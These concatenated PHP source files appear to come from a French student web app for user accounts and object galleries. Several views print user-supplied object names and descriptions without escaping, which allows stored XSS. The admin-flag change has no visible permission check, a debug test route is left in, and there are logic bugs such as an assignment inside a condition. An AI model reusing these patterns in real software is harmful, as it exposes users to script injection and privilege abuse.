'galerie' : $controleur->afficheGalerie(); break; // Si la page ? visiter est la galerie des objets de l'utilisateur case 'galeriePerso' : $controleur->afficheGalerie(unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])->getLogin()); break; // Si l'action est d'effectuer une recherche g?n?rale case 'recherche' : $categorie = key_exists('categorie', $_GET) ? $_GET['categorie'] : null; $nom = key_exists('nom', $_GET) ? $_GET['nom'] : null; $date = key_exists('date', $_GET) ? $_GET['date'] : null; $controleur->recherche($nom, $date, $categorie); break; // Si l'action est d'effectuer une recherche personnelle case 'recherchePerso' : $categorie = key_exists('categorie', $_GET) ? $_GET['categorie'] : null; $nom = key_exists('nom', $_GET) ? $_GET['nom'] : null; $date = key_exists('date', $_GET) ? $_GET['date'] : null; $controleur->recherche($nom, $date, $categorie, unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])->getLogin()); break; // A supprimer dans la version finale case 'test' : $vue->creationPageTest($dbObject, $dbUser); break; } } else { $controleur->accueil(); } $vue->render(); } } ?><file_sep>/src/controleur/Controleur.php <?php set_include_path("./src"); require_once("modele/utilisateur/Utilisateur.php"); require_once("modele/utilisateur/UtilisateurStorageDB.php"); require_once("modele/objet/ObjetStorageDB.php"); require_once("vue/Vue.php"); require_once("vue/VuePrive.php"); require_once("vue/VueAdmin.php"); // Classe repr?sentant le contr?leur du site class Controleur { private $vue; private $utilisateurs; private $objets; private $constructeur_objet; private $modificateur_objet; // Constructeur public function __construct (Vue $vue, UtilisateurStorageDB $utilisateurs, ObjetStorageDB $objets) { $this->vue = $vue; $this->utilisateurs = $utilisateurs; $this->objets = $objets; $this->constructeur_objet = key_exists('constructeurObjet', $_SESSION) ? $_SESSION['constructeurObjet'] : null; $this->modificateur_objet = key_exists('modificateurObjet', $_SESSION) ? $_SESSION['modificateurObjet'] : array(); } public function __destruct () { $_SESSION['constructeurObjet'] = $this->constructeur_objet; $_SESSION['modificateurObjet'] = $this->modificateur_objet; } // M?thode permettant d'afficher la page d'accueil d'un utilisateur public function accueil () { if (key_exists(GestionAuthentification::UTILISATEUR_REF, $_SESSION)) { $authentification = new GestionAuthentification($this->utilisateurs, unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])->getArray(), $this->vue); } else { $authentification = new GestionAuthentification($this->utilisateurs, array(), $this->vue); } $this->vue->creationAccueil($authentification); $this->afficheGalerie(); } // M?thode permettant d'afficher la page de connexion d'un utilisateur public function connexion () { if (key_exists('connexionEnCours', $_SESSION)) { $authentification = new GestionAuthentification($this->utilisateurs, $_SESSION['connexionEnCours'][GestionAuthentification::DONNEES_REF], $this->vue); $authentification->setErreur($_SESSION['connexionEnCours'][GestionAuthentification::ERREUR_REF]); } else { $authentification = new GestionAuthentification($this->utilisateurs, array(), $this->vue); } $this->vue->creationPageConnexion($authentification); } // M?thode permettant de g?rer la connexion d'un utilisateur public function tentativeConnexion (array $donnees) { $authentification = new GestionAuthentification($this->utilisateurs, $donnees, $this->vue); $authentification->connexion(); } // M?thode permettant de g?rer la d?connexion d'un utilisateur public function deconnexionUtilisateur () { $deconnexion = GestionAuthentification::deconnexion(); if ($deconnexion) { $this->vue->affichageDeconnexionReussie(); } else { $this->vue->affichageDeconnexionEchouee(); } } // M?thode permettant d'afficher la page d'inscription d'un utilisateur public function inscription () { if (key_exists('inscriptionEnCours', $_SESSION)) { $constructeur = new ConstructeurUtilisateur($this->utilisateurs, $_SESSION['inscriptionEnCours'][GestionAuthentification::DONNEES_REF]); $constructeur->setErreur($_SESSION['inscriptionEnCours'][GestionAuthentification::ERREUR_REF]); } else { $constructeur = new ConstructeurUtilisateur($this->utilisateurs, array()); } $this->vue->creationPageInscription($constructeur); } // M?thode permettant de g?rer l'inscription d'un utilisateur public function creationUtilisateur (array $donnees) { $constructeur = new ConstructeurUtilisateur($this->utilisateurs, $donnees); if ($constructeur->estValide()) { if (key_exists('inscriptionEnCours', $_SESSION)) { unset($_SESSION['inscriptionEnCours']); } $constructeur->creationUtilisateur(false); $authentification = new GestionAuthentification($this->utilisateurs, array(Utilisateur::LOGIN_REF=>$constructeur->getLogin(), Utilisateur::PASSWORD_REF=>$constructeur->getLogin()), $this->vue); $authentification->connexion(); } else { $_SESSION['inscriptionEnCours'] = array(GestionAuthentification::DONNEES_REF=>$constructeur->getDonnees(), GestionAuthentification::ERREUR_REF=>$constructeur->getErreur()); $this->vue->affichageInscriptionEchouee($constructeur); } } // M?thode permettant d'afficher la page de modification d'un utilisateur public function demandeModifUtilisateur () { if (key_exists('modifUtilisateurEnCours', $_SESSION)) { $constructeur = new ConstructeurUtilisateur($this->utilisateurs, $_SESSION['modifUtilisateurEnCours'][GestionAuthentification::DONNEES_REF]); $constructeur->setErreur($_SESSION['modifUtilisateurEnCours'][GestionAuthentification::ERREUR_REF]); } else { $constructeur = new ConstructeurUtilisateur($this->utilisateurs, unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])->getArray()); } if (GestionAuthentification::estConnecte()) { $this->vue->creationPageModifUtilisateur($constructeur); } else { $this->vue->affichageModificationEchouee(); } } // M?thode permettant de g?rer la modification d'un utilisateur public function modifUtilisateur (array $donnees) { $constructeur = new ConstructeurUtilisateur($this->utilisateurs, $donnees); if ($constructeur->estValideModif() and GestionAuthentification::estConnecte()) { if (key_exists('modifUtilisateurEnCours', $_SESSION)) { unset($_SESSION['modifUtilisateurEnCours']); } $utilisateur = $constructeur->modifUtilisateur(unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])); $_SESSION[GestionAuthentification::UTILISATEUR_REF] = serialize($utilisateur); $this->vue->affichageModificationReussie(); } else { $_SESSION['modifUtilisateurEnCours'] = array(GestionAuthentification::DONNEES_REF=>$constructeur->getDonnees(), GestionAuthentification::ERREUR_REF=>$constructeur->getErreur()); $this->vue->affichageModificationEchouee(); } } // M?thode permettant d'afficher la page de modification d'un utilisateur par un administrateur public function demandeModifAdmin ($login) { if (key_exists('modifAdminEnCours', $_SESSION) and key_exists($login, $_SESSION['modifAdminEnCours'])) { $constructeur = new ConstructeurUtilisateur($this->utilisateurs, $_SESSION['modifAdminEnCours'][$login][GestionAuthentification::DONNEES_REF]); $constructeur->setErreur($_SESSION['modifAdminEnCours'][$login][GestionAuthentification::ERREUR_REF]); } else { $constructeur = new ConstructeurUtilisateur($this->utilisateurs, array()); $constructeur->setUtilisateur($login); } $this->vue->creationPageModifAdmin($constructeur, $login); } // M?thode permettant de g?rer la modification d'un utilisateur par un administrateur public function modifAdmin ($login, array $donnees) { if (key_exists(Utilisateur::ADMIN_REF, $donnees)) { $donnees = array(Utilisateur::ADMIN_REF=>true); } else { $donnees = array(Utilisateur::ADMIN_REF=>false); } $constructeur = new ConstructeurUtilisateur($this->utilisateurs, $donnees); if (key_exists('modifAdminEnCours', $_SESSION) and key_exists($login, $_SESSION['modifAdminEnCours'])) { unset($_SESSION['modifAdminEnCours'][$login]); } $utilisateur = $constructeur->getUtilisateur($login); $constructeur->modifAdmin($utilisateur); $this->vue->affichageModificationAdminReussie(); } // M?thode permettant d'afficher la page de suppression d'un utilisateur public function demandeSuppUtilisateur () { $this->vue->creationPageSuppUtilisateur(); } // M?thode permettant de g?rer la suppression d'un utilisateur public function suppressionUtilisateur () { if (GestionAuthentification::estConnecte()) { $this->objets->deleteAllObjetsFromUser(unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])); $this->utilisateurs->deleteUser(unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])); GestionAuthentification::deconnexion(); $this->vue->affichageSuppUtilisateurReussie(); } else { $this->vue->affichageSuppUtilisateurEchouee(); } } // M?thode permettant d'afficher la liste des utilisateurs public function listeUtilisateurs () { $this->vue->creationListeUtilisateurs($this->utilisateurs->readAll()); } //-------------------- Cr?ation Objet --------------------// // Affichage du formulaire public function nouveauObjet(){ if($this->constructeur_objet === null){ $this->constructeur_objet = new ConstructeurObjet(unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])->getLogin()); } $this->vue->creationPageCreationObjet(date("Y-m-d"), $this->constructeur_objet); } // M?thode pour la cr?ation d'un objet public function creationObjet(array $donnees){ $this->constructeur_objet = new ConstructeurObjet(unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])->getLogin(), $donnees); if ($this->constructeur_objet->estValide()){ $objet = $this->constructeur_objet->creationObjet(); $objet = $this->objets->createObjet($objet); $this->constructeur_objet = null; $this->vue->creationPageObjetCree($objet['id']); } else { $this->vue->creationPageObjetNonCree($this->constructeur_objet->getErreur()); } } //-------------------- Fin cr?ation Objet --------------------// //-------------------- Suppression Objet --------------------// // M?thode pour afficher le formulaire de suppression public function supprimerObjet($id) { $objet = $this->objets->readWithIDprivate($id, unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])->getLogin()); if($objet === null){ $this->vue->creationPageObjetInexistant(); } else { $this->vue->creationPageSuppression($id, $objet); } } // M?thode pour supprimer l'objet public function confirmationSuppression ($id) { if(!$this->objets->deleteObjet($id, unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])->getLogin())){ $this->vue->creationPageObjetInexistant(); } else { $this->vue->creationPageSuppressionOk(); } } //-------------------- Fin suppression Objet --------------------// //-------------------- Modification Objet --------------------// // M?thode pour afficher le formulaire de modification d'un objet public function modifierObjet ($id) { if(key_exists($id, $this->modificateur_objet)) { $this->vue->creationPageModifObjet($id, $this->modificateur_objet[$id]); } else { $utilisateur = unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])->getLogin(); $objet = $this->objets->readWithIDprivate($id, $utilisateur); if($objet === null) { $this->vue->creationPageObjetInexistant(); } else { $constructeur = ConstructeurObjet::construireViaObjet($objet, $utilisateur); $this->vue->creationPageModifObjet($id, $constructeur); } } } // M?thode pour confirmer la modification public function confirmationModification ($id, array $donnees) { $utilisateur = unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])->getLogin(); $objet = $this->objets->readWithIDprivate($id, $utilisateur); if($objet === null) { $this->vue->creationPageObjetInexistant(); } else { $constructeur = new ConstructeurObjet($utilisateur, $donnees); if($constructeur->estValide()) { $constructeur->modifierObjet($objet); $retour = $this->objets->modifObjet($id, $objet, $utilisateur); if(! $retour){ $this->vue->creationPageObjetInexistant(); } unset($this->modificateur_objet[$id]); $this->vue->creationPageObjetModifie($id); } else { $this->modificateur_objet[$id] = $constructeur; $this->vue->creationPageObjetNonModifie($id); } } } //-------------------- Fin modification Objet --------------------// //-------------------- recherche d'objets --------------------// public function recherche($nom, $date, $categorie, $user = null){ /*$nom = $donnees['nom']; $date = $donnees['date']; $categorie = null; if(key_exists('categorie', $donnees)){ $categorie = $donnees['categorie']; }*/ if($user === null){ if($categorie === null) { if($nom === '') { $allobjets = $this->objets->readObjectFromDate($date); } else if ($date === '') { $allobjets = $this->objets->readObjectFromNom($nom); } } else { if($categorie !== '' && $nom === '' && $date === ''){ $allobjets = $this->objets->readObjectFromCategorie($categorie); } else if($nom === '') { $allobjets = $this->objets->readObjectFromCategorieDate($categorie, $date); } else if ($date === '') { $allobjets = $this->objets->readObjectFromNomCategorie($nom, $categorie); } else { $allobjets = $this->objets->readObjectFromNomCategorieDate($nom, $categorie, $date); } } if($allobjets !== array()){ $this->vue->creationPageGalerie($allobjets); } else { $this->vue->creationPageGalerieVide(); } } else if($user !== null){ if($categorie === null) { if($nom === '') { $allobjets = $this->objets->readObjectFromDate($date, $user); } else if ($date = '') { $allobjets = $this->objets->readObjectFromNom($nom, $user); } } else { if($categorie !== '' && $nom === '' && $date === ''){ $allobjets = $this->objets->readObjectFromCategorie($categorie, $user); } else if($nom === '') { $allobjets = $this->objets->readObjectFromCategorieDate($categorie, $date, $user); } else if ($date === '') { $allobjets = $this->objets->readObjectFromNomCategorie($nom, $categorie, $user); } else { $allobjets = $this->objets->readObjectFromNomCategorieDate($nom, $categorie, $date, $user); } } if($allobjets !== array()){ $this->vue->creationPageGaleriePerso($allobjets); } else { $this->vue->creationPageGalerieVide(); } } else { $this->vue->creationPageObjetInexistant(); } } //-------------------- Fin recherche d'objets --------------------// //-------------------- Affichage Objet --------------------// // M?thode pour afficher un objet public function afficheObjet($id) { if(!key_exists(GestionAuthentification::UTILISATEUR_REF, $_SESSION)){ $objet = $this->objets->readWithID($id); if($objet === null){ $this->vue->creationPageObjetNonValideAccueil($this->objets->getErreur()); } else { $this->vue->creationPageObjet($objet); } } else { $objet = $this->objets->readWithIDprivate($id, unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])->getLogin()); if($objet === null){ $objet = $this->objets->readWithID($id); if($objet === null){ $this->vue->creationPageObjetNonValideAccueil($this->objets->getErreur()); } else { $this->vue->creationPageObjet($objet); } } else { $this->vue->creationPageObjetPerso($objet); } } } public function afficheGalerie($login=null, array $donnees = array()) { if($this->utilisateurs->exist($login)) { $objets = $this->objets->readFromClient($login); $this->vue->creationPageGaleriePerso($objets); } else { $objets = $this->objets->readAll(); $this->vue->creationPageGalerie($objets); } } //-------------------- Fin affichage Objet --------------------// } ?><file_sep>/src/vue/VuePrive.php <?php set_include_path("./src"); require_once("Routeur.php"); require_once("controleur/GestionAuthentification.php"); require_once("modele/objet/ConstructeurObjet.php"); require_once("modele/objet/Objet.php"); require_once("vue/Vue.php"); // Classe repr?sentant la vue du site pour les utilisateurs connect?s class VuePrive extends Vue { // Constructeur public function __construct (Routeur $routeur, $feedback) { parent::__construct($routeur, $feedback); } // M?thode permettant de r?cup?rer le contenu du menu public function getMenu () { $this->menu .= "<li> <a href='" . $this->routeur->getURLPageAccueil() ."'> Accueil </a> </li>"; $this->menu .= "<li> <a href='" . $this->routeur->getURLPageSuppressionCompte() ."'> Supprimer mon compte </a> </li>"; $this->menu .= "<li> <a href='" . $this->routeur->getURLPageModifUtilisateur() ."'> Modifier mes informations </a> </li>"; $this->menu .= "<li> <a href='" . $this->routeur->getURLDeconnexion() ."'> D?connexion </a> </li>"; $this->menu .= "<li> <a href=" . $this->routeur->getURLPageCreationObjet() . "> Ajouter un objet </a> </li>"; $this->menu .= "<li> <a href='" . $this->routeur->getURLPageGaleriePerso() ."'> Votre Galerie </a> </li>"; } // M?thode permettant de cr?er l'accueil du site public function creationAccueil (GestionAuthentification $authentification) { $this->titre = "Accueil"; $this->menu .= "Bienvenue " . htmlspecialchars($authentification->getPrenom(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8'); $this->menu .= " " . htmlspecialchars($authentification->getNom(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . " !"; $this->contenu_principal .= "Bienvenue sur votre compte, ajoutez, modifiez et supprimez ? votre guise les objets en votre possession, en acc?dant ? votre galerie."; // Pour tester les requ?tes $page_test = "<a href=" . $this->routeur->getURLTest() . "> Page de test </a>"; } // M?thode permettant d'afficher la page correspondant ? une connexion ayant ?chou?e public function affichageConnexionEchouee () { $url = $this->routeur->getURLPageAccueil(); $this->routeur->POSTredirect($url, "Connexion impossible, vous ?tes d?j? connect?"); } // M?thode permettant d'afficher la page correspondant ? une connexion ayant ?chou?e public function affichageInscriptionEchouee () { $url = $this->routeur->getURLPageAccueil(); $this->routeur->POSTredirect($url, "Inscription impossible, vous poss?dez d?j? un compte"); } // M?thode permettant de cr?er la page de modification d'un utilisateur public function creationPageModifUtilisateur (ConstructeurUtilisateur $constructeur) { $this->titre = "Modification"; $this->contenu .= "<form action='" . $this->routeur->getURLModifUtilisateur() . "' method='POST'>"; $this->contenu .= "<label> Password : <input type='password' name='" . Utilisateur::PASSWORD_REF . "'/> </label>"; $this->contenu .= $constructeur->getErreur()[Utilisateur::PASSWORD_REF]; $this->contenu .= "<label> Pr?nom : <input type='text' name='" . Utilisateur::PRENOM_REF . "' value='" . htmlspecialchars($constructeur->getPrenom(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'/> </label>"; $this->contenu .= $constructeur->getErreur()[Utilisateur::PRENOM_REF]; $this->contenu .= "<label> Nom : <input type='text' name='" . Utilisateur::NOM_REF . "' value='" . htmlspecialchars($constructeur->getNom(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'/> </label>"; $this->contenu .= $constructeur->getErreur()[Utilisateur::NOM_REF]; $this->contenu .= "<button type='submit'>Sauvegarder les modifications</button>"; $this->contenu .= "</form>"; $this->contenu .= "<a href='" . $this->routeur->getURLPageAccueil() ."'> Annuler </a>"; } // M?thode permettant d'afficher la page correspondant ? une modification r?ussie public function affichageModificationReussie () { $url = $this->routeur->getURLPageAccueil(); $this->routeur->POSTredirect($url, "Vos informations ont ?t? modifi?es"); } // M?thode permettant d'afficher la page correspondant ? une modification ayant ?chou?e public function affichageModificationEchouee () { $url = $this->routeur->getURLPageModifUtilisateur(); $this->routeur->POSTredirect($url, "Modification impossible, veuillez corriger les erreurs"); } // M?thode permettant d'afficher la page correspondant ? la d?connexion d'un utilisateur non connect? public function affichageDeconnexionReussie () { $url = $this->routeur->getURLPageAccueil(); $this->routeur->POSTredirect($url, "Vous avez ?t? d?connect?"); } // M?thode permettant de cr?er la page de suppression d'un utilisateur public function creationPageSuppUtilisateur () { $this->titre = "Supprimer le compte"; $this->contenu .= "<p> ?tes vous s?r de vouloir supprimer votre compte ?</p>"; $this->contenu .= "<form action='" . $this->routeur->getURLSuppressionCompte() . "' method='POST'>"; $this->contenu .= "<input type='submit' value='Supprimer'>"; } // M?thode permettant d'afficher la page correspondant ? une suppression r?ussie public function affichageSuppUtilisateurReussie () { $url = $this->routeur->getURLPageAccueil(); $this->routeur->POSTredirect($url, "Le compte a bien ?t? supprim?"); } //M?thode permettant de cr?er la page pour cr?er un Objet public function creationPageCreationObjet($date, ConstructeurObjet $constructeur){ $this->titre = "Ajouter un objet ? votre collection"; $this->contenu .= $constructeur->getErreur(); $this->contenu .= "<form action='" . $this->routeur->getURLCreationObjet() . "' method='POST'>"; $this->contenu .= "<label> Nom de l'objet : <input type='text' name='" . ConstructeurObjet::NOM_REF . "' value='" . htmlspecialchars($constructeur->getNom(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'/> </label>"; $this->contenu .= "<label for='description'> Description : </label>"; $this->contenu .= "<textarea name='" . ConstructeurObjet::DESCRIPTION_REF . "' id='description' value='" . htmlspecialchars($constructeur->getDescription(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'> </textarea>"; $this->contenu .= "<label for='categorie'> Categorie de l'objet : </label>"; $this->contenu .= "<select id='categorie' name='" . ConstructeurObjet::CATEGORIE_REF . "' >"; $this->contenu .= "<option value='Categorie1'> Categorie 1 </option>"; $this->contenu .= "<option value='Categorie2'> Categorie 2 </option>"; $this->contenu .= "<option value='Categorie3'> Categorie 3 </option> </select>"; $this->contenu .= "<button type='submit'> Ajouter un objet </button>"; $this->contenu .= "</form>"; $this->contenu .= "Ajout le : " . $date; $this->contenu .= "<a href='" . $this->routeur->getURLPageAccueil() . "'> Annuler </a>"; } // M?thodes de redirection, si ok public function creationPageObjetCree ($id) { $this->routeur->POSTredirect($this->routeur->getURLPageObjet($id), "L'Objet ? bien ?t? ajout?."); } // Si erreur. public function creationPageObjetNonCree ($erreur) { $this->routeur->POSTredirect($this->routeur->getURLPageCreationObjet(), "L'objet n'a pas ?t? ajout?. " . $erreur); } // Si erreur. public function creationPageObjetNonValideGalerie ($erreur) { $this->routeur->POSTredirect($this->routeur->getURLPageGaleriePerso(), "L'objet n'existe pas/plus. " . $erreur); } // Si erreur. public function creationPageObjetNonValideAccueil ($erreur) { $this->routeur->POSTredirect($this->routeur->getURLPageAccueil(), "L'objet n'existe pas/plus. " . $erreur); } // M?thode pour l'affichage d'un objet. public function creationPageObjetPerso (Objet $objet) { $this->titre = $objet->getNom(); $this->contenu .= "Votre objet a ?t? ajout? le : " . $objet->getDateAjout() . "</br>"; $this->contenu .= "Description de votre objet : " . $objet->getDescription() . "</br>"; $this->contenu .= "Cat?gorie de l'objet : " .$objet->getCategorie() . "</br>"; $this->contenu .= "<a href='" . $this->routeur->getURLPageAccueil() ."'> Retour Accueil </a> </br>"; $this->contenu .= "<a href='" . $this->routeur->getURLPageCreationObjet() ."'> Retour Cr?ation </a> </br>"; $this->contenu .= "<a href='" . $this->routeur->getURLPageGalerie() ."'> Votre Galerie </a> </br>"; $this->contenu .= "<a href='" . $this->routeur->getURLPageSuppressionObjet($objet->getId()) ."'> Supprimer l'objet </a> </br>"; $this->contenu .= "<a href='" . $this->routeur->getURLPageModififerObjet($objet->getId()) ."'> Modifier l'objet </a>"; } public function creationPageSuppression ($id, $objet) { $this->titre = "Supprimer un objet : "; $this->contenu .= "L'objet ? supprimer : " . $objet->getNom() . "</br>"; $this->contenu .= "Description : " . $objet->getDescription() . "</br>"; $this->contenu .= "Ajout? le : " . $objet->getDateAjout() . "<br>"; $this->contenu .= "<form action='" . $this->routeur->getURLSuppressionObjet($id) . "' method='POST'>"; $this->contenu .= "<button type='submit'> Supprimer </button>"; } public function creationPageSuppressionOk () { $this->routeur->POSTredirect($this->routeur->getURLPageGaleriePerso(unserialize($_SESSION[GestionAuthentification::UTILISATEUR_REF])->getLogin()), "L'objet a bien ?t? supprim?."); } public function creationPageModifObjet($id, ConstructeurObjet $constructeur) { $this->titre = "Modifier l'objet"; $this->contenu .= "<form action='" . $this->routeur->getURLModifierObjet($id) . "' method='POST'>"; $this->contenu .= "<label> Nom de l'objet : <input type='text' name='" . ConstructeurObjet::NOM_REF . "' value='" . htmlspecialchars($constructeur->getNom(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'/> </label>"; $this->contenu .= "<label for='description'> Description : </label>"; $this->contenu .= "<textarea name='" . ConstructeurObjet::DESCRIPTION_REF . "' id='description' value='" . htmlspecialchars($constructeur->getDescription(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'>" . $constructeur->getDescription() . " </textarea>"; $this->contenu .= "<label for='categorie'> Categorie de l'objet : </label>"; $this->contenu .= "<select id='categorie' name='" . ConstructeurObjet::CATEGORIE_REF . "' >"; $this->contenu .= "<option value=" . $constructeur->getCategorie() . " selected hidden>" . $constructeur->getCategorie() . "</option>"; $this->contenu .= "<option value='Categorie1'> Categorie 1 </option>"; $this->contenu .= "<option value='Categorie2'> Categorie 2 </option>"; $this->contenu .= "<option value='Categorie3'> Categorie 3 </option> </select>"; $this->contenu .= "<button type='submit'> Modifier l'objet </button>"; $this->contenu .= "</form>"; } public function creationPageObjetModifie($id) { $this->routeur->POSTredirect($this->routeur->getURLPageObjet($id), "L'Objet a bien ?t? modifi?"); } public function creationPageObjetNonModifie($id) { $this->routeur->POSTredirect($this->routeur->getURLPageModififerObjet($id), "L'Objet n'a pas ?t? modifi?"); } // Methode pour l'affichage si l'objet n'existe pas public function creationPageObjetInexistant (){ $this->titre = "L'objet n'existe pas"; $this->contenu = "L'objet actuellement selectionn? n'a pas ?tait trouv?."; } public function creationPageGalerieVide(){ $this->routeur->POSTredirect($this->routeur->getURLPageGalerie(), "Aucun objet trouv?."); } public function affichageFormulaireRecherchePerso() { $this->contenu .= "Recherche : </br>"; $this->contenu .= "<form action='" . $this->routeur->getURLRecherchePerso() . "' method='GET'>"; $this->contenu .= "<label> Nom de l'objet : <input type='text' name='" . ConstructeurObjet::NOM_REF . "'/> </label>"; $this->contenu .= "<label for='categorie'> Categorie de l'objet : </label>"; $this->contenu .= "<select id='categorie' name='" . ConstructeurObjet::CATEGORIE_REF . "' >"; $this->contenu .= "<option value='none' selected disabled hidden> Selectionner une categorie </option>"; $this->contenu .= "<option value='Categorie1'> Categorie 1 </option>"; $this->contenu .= "<option value='Categorie2'> Categorie 2 </option>"; $this->contenu .= "<option value='Categorie3'> Categorie 3 </option> </select>"; $this->contenu .= "<labet for='date'> Date de recherche : </label>"; $this->contenu .= "<input type='date' id='date' name='date' value'" . date("Y-m-d") . "'>"; $this->contenu .= "<button type='submit'> Recherche </button>"; $this->contenu .= "</form>"; } // M?thode pour l'affichage de la galerie. public function creationPageGaleriePerso ($objets) { $this->sous_titre = "Vos Objets : "; $this->affichageFormulaireRecherchePerso(); foreach ($objets as $objet) { $this->contenu .= "<li> <a href=". $this->routeur->getURLPageObjet($objet['id']) .">" . $objet['nom'] . "</a> </li>"; } } } ?><file_sep>/src/vue/Vue.php <?php set_include_path("./src"); require_once("Routeur.php"); require_once("modele/objet/Objet.php"); require_once("modele/utilisateur/GestionAuthentification.php"); require_once("modele/utilisateur/ConstructeurUtilisateur.php"); require_once("modele/utilisateur/UtilisateurStorageDB.php"); // Classe repr?sentant la vue du site pour les visiteurs class Vue { protected $routeur; protected $titre; protected $menu; protected $contenu; protected $feedback; // Constructeur public function __construct(Routeur $routeur, $feedback) { $this->routeur = $routeur; $this->titre = ""; $this->contenu = ""; $this->feedback = $feedback; } // Assesseur de routeur public function getRouteur () { return $this->routeur; } // M?thode permettant de r?cup?rer le contenu du menu public function getMenu () { $this->menu = "<li> <a href='" . $this->routeur->getURLPageAccueil() ."'> Accueil </a> </li>"; $this->menu .= "<li> <a href='" . $this->routeur->getURLPageConnexion() ."'> Connexion </a> </li>"; $this->menu .= "<li> <a href='" . $this->routeur->getURLPageInscription() ."'> Inscription </a> </li>"; } // M?thode permettant de cr?er la page finale public function render () { $this->getMenu(); include("vue/squelettes/squelette.php"); } // M?thode permettant de cr?er l'accueil du site public function creationAccueil (GestionAuthentification $authentification) { $this->titre = "Accueil"; $this->contenu = "Bienvenue !"; //Pour tester les requ?tes $nav_pages = "<li> <a href='" . $this->routeur->getURLTest() . "'> Page de test </a> </li>"; } // M?thode permettant de cr?er la page de connexion public function creationPageConnexion (GestionAuthentification $authentification) { $this->titre = "Connexion"; $this->contenu = "<form action='" . $this->routeur->getURLConnexion() . "' method='POST'>"; $this->contenu .= "<label> Login : <input type='text' name='" . GestionAuthentification::LOGIN_REF . "' value='" . htmlspecialchars($authentification->getLogin(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'> </label>"; $this->contenu .= $authentification->getErreur()[GestionAuthentification::LOGIN_REF]; $this->contenu .= "<label> Password : <input type='password' name='" . GestionAuthentification::PASSWORD_REF ."' value='" . htmlspecialchars($authentification->getPassword(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'> </label>"; $this->contenu .= $authentification->getErreur()[GestionAuthentification::PASSWORD_REF]; $this->contenu .= "<button type='submit'>Connexion</button>"; $this->contenu .= "</form>"; $this->contenu .= "<a href='" . $this->routeur->getURLPageAccueil() ."'> Annuler </a>"; } // M?thode permettant d'afficher la page correspondant ? une connexion r?ussie public function affichageConnexionReussie () { $url = $this->routeur->getURLPageAccueil(); $this->routeur->POSTredirect($url, "Connexion r?ussie"); } // M?thode permettant d'afficher la page correspondant ? une connexion ayant ?chou?e public function affichageConnexionEchouee () { $url = $this->routeur->getURLPageConnexion(); $this->routeur->POSTredirect($url, "Connexion impossible, veuillez corriger les erreurs"); } // M?thode permettant de cr?er la page d'inscription public function creationPageInscription (ConstructeurUtilisateur $constructeur) { $this->titre = "Inscription"; $message_erreur = $constructeur->getErreur(); $this->contenu .= "<form action='" . $this->routeur->getURLInscription() . "' method='POST'>"; $this->contenu .= "<label> Login : <input type='text' name='" . ConstructeurUtilisateur::LOGIN_REF . "' value='" . htmlspecialchars($constructeur->getLogin(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'/> </label>"; $this->contenu .= $constructeur->getErreur()[ConstructeurUtilisateur::LOGIN_REF]; $this->contenu .= "<label> Password : <input type='password' name='" . ConstructeurUtilisateur::PASSWORD_REF . "' value='" . htmlspecialchars($constructeur->getPassword(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'/> </label>"; $this->contenu .= $constructeur->getErreur()[ConstructeurUtilisateur::PASSWORD_REF]; $this->contenu .= "<label> Pr?nom : <input type='text' name='" . ConstructeurUtilisateur::PRENOM_REF . "' value='" . htmlspecialchars($constructeur->getPrenom(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'/> </label>"; $this->contenu .= $constructeur->getErreur()[ConstructeurUtilisateur::PRENOM_REF]; $this->contenu .= "<label> Nom : <input type='text' name='" . ConstructeurUtilisateur::NOM_REF . "' value='" . htmlspecialchars($constructeur->getNom(), ENT_QUOTES|ENT_SUBSTITUTE|ENT_HTML5, 'UTF-8') . "'/> </label>"; $this->contenu .= $constructeur->getErreur()[ConstructeurUtilisateur::NOM_REF]; $this->contenu .= "<button type='submit'>Inscription</button>"; $this->contenu .= "</form>"; $this->contenu .= "<a href='" . $this->routeur->getURLPageAccueil() ."'> Annuler </a>"; } // M?thode permettant d'afficher la page correspondant ? une inscription r?ussie public function affichageInscriptionReussie () { $url = $this->routeur->getURLPageAccueil(); $this->routeur->POSTredirect($url, "Inscription r?ussie"); } // M?thode permettant d'afficher la page correspondant ? une inscription ayant ?chou?e public function affichageInscriptionEchouee () { $url = $this->routeur->getURLPageInscription(); $this->routeur->POSTredirect($url, "Inscription impossible, veuillez corriger les erreurs"); } // M?thode permettant d'afficher la page correspondant ? la modification d'un utilisateur non connect? public function affichageModificationEchouee () { $url = $this->routeur->getURLPageAccueil(); $this->routeur->POSTredirect($url, "Vous devez ?tre connect? pour modifier vos informations"); } // M?thode permettant d'afficher la page correspondant ? la d?connexion d'un utilisateur non connect? public function affichageDeconnexionEchouee () { $url = $this->routeur->getURLPageAccueil(); $this->routeur->POSTredirect($url, "D?connexion impossible"); } public function creationPageTest($db, $dbu) { $this->titre = "Page de test des requetes"; $user = new Utilisateur("Client2", "ui", "ui", "ui", false); 